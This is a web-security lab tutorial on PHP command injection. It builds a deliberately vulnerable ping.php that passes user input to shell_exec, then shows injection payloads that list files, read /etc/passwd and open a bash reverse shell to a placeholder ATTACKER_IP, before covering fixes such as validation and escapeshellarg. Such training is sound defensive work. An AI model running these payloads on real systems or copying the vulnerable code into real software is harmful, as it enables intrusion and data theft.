Objective
Learn how to exploit Command Injection vulnerabilities in web applications that execute system commands based on user input. Understand how to prevent these vulnerabilities through input validation, sanitization, and using secure APIs for system interactions.
Scenario
You are assessing a web application with a feature that allows users to check the availability of a domain by executing system commands. Due to improper input validation, attackers can inject additional commands, leading to unauthorized system access and data exposure.
Lab Setup
Prerequisites:
- Basic knowledge of PHP and Linux commands.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- PHP Script with Command Injection Vulnerability
- Create a file
ping.php
:<?php if (isset($_GET['host'])) { $host = $_GET['host']; $output = shell_exec("ping -c 1 " . $host); echo "<pre>$output</pre>"; } else { echo "<h2>Please provide a hostname.</h2>"; } ?> <h2>Ping a Host</h2> <form method="GET" action=""> Hostname: <input type="text" name="host" required> <button type="submit">Ping</button> </form>
- Create a file
- Running the Application
- Start the Apache server.
- Place
ping.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/ping.php
in your browser.
Exploitation Steps
Step 1: Injecting Malicious Commands
- In the Hostname field, enter the following payload:
127.0.0.1; ls
- Expected Result:
- The server lists the files in the web directory.
Step 2: Accessing Sensitive Files
- Enter the following payload:
127.0.0.1; cat /etc/passwd
- Expected Result:
- The content of the
/etc/passwd
file is displayed, revealing sensitive system information.
- The content of the
Step 3: Creating a Reverse Shell (Advanced)
- Enter the payload (replace
ATTACKER_IP
andPORT
):127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
- Expected Result:
- The attacker gains remote shell access to the server.
Solution and Prevention
Problem Analysis
- The application directly executes user input in system commands without validation, allowing attackers to inject arbitrary commands.
Fixing the Vulnerability
- Input Validation
- Validate input to allow only valid domain names:
if (preg_match('/^[a-zA-Z0-9.-]+$/', $host)) { $output = shell_exec("ping -c 1 " . escapeshellarg($host)); echo "<pre>$output</pre>"; } else { echo "<h2>Invalid hostname.</h2>"; }
- Validate input to allow only valid domain names:
- Avoid Using Shell Commands
- Use safer functions like
gethostbyname()
instead of shell commands:$ip = gethostbyname($host); echo "<h2>IP Address: $ip</h2>";
- Use safer functions like
- Use Escaping Functions
- Apply
escapeshellarg()
orescapeshellcmd()
to sanitize inputs:$output = shell_exec("ping -c 1 " . escapeshellarg($host));
- Apply
- Limit Command Execution Privileges
- Run the web server with the least privileges to minimize impact.
- Disable Dangerous PHP Functions
- Disable functions like
exec()
,shell_exec()
, andsystem()
inphp.ini
:disable_functions = exec, shell_exec, system, passthru
- Disable functions like
Testing After Fix
- Attempt to inject
127.0.0.1; ls
. - Expected Result:
- The application rejects the input or safely executes the intended command.
- Attempt advanced payloads like
127.0.0.1; cat /etc/passwd
. - Expected Result:
- The server prevents command execution and displays an error.
Conclusion
In this lab, you exploited Command Injection by injecting system commands through unsanitized input, gaining access to sensitive information. You also learned how to mitigate this risk by validating input, using secure functions, and restricting command execution.
0 Comments